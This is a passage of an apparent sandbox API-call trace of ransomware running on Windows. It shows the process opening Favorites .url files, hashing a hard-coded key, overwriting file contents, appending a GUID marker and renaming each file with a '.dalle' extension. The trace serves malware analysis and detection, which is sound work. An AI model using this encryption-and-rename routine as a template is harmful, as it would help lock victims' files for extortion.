Live\\Get Windows Live.url") returned=".url" [0121.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.397] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.397] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.399] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.399] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.400] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.400] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.400] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.400] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.400] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.400] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.400] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.401] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.401] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.401] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.401] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.401] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.401] GetLastError () returned 0x0 [0121.401] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.401] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.401] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.401] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.401] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.401] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.401] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.401] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.402] CloseHandle (hObject=0x618) returned 1 [0121.402] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.402] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.402] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.402] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.dalle")) returned 1 [0121.403] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.403] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.404] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0121.404] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.404] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.404] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0121.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.405] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.405] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.407] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.407] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.408] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.408] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.408] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.408] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.408] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.408] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.408] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.408] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.408] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.409] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.409] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.409] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.409] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.409] GetLastError () returned 0x0 [0121.409] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.409] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.409] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.409] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.409] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.409] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.409] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.409] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.409] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.409] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.409] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.409] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.410] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.410] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.410] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.410] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.410] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.410] CloseHandle (hObject=0x618) returned 1 [0121.410] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.410] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.411] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.411] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.dalle")) returned 1 [0121.411] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.411] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.412] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.412] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0121.412] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.412] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.412] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.412] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0121.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.412] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.413] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.414] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.414] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.415] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.415] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.415] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.415] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.415] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.415] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.415] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.415] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.415] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.416] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.416] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.416] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.416] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.416] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.416] GetLastError () returned 0x0 [0121.416] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.416] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.416] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.416] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.417] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.417] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.417] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.417] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.417] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.417] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.417] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.417] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.417] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.417] CloseHandle (hObject=0x618) returned 1 [0121.418] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.418] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.418] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.dalle")) returned 1 [0121.419] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.419] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.420] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.420] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0121.420] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.420] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.420] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.420] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0121.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.421] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.421] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.422] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.423] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.423] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.423] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.423] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.424] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.424] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.424] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.424] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.424] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.424] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.425] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.425] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.425] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.425] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.425] GetLastError () returned 0x0 [0121.425] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.425] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.425] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.425] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.425] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) 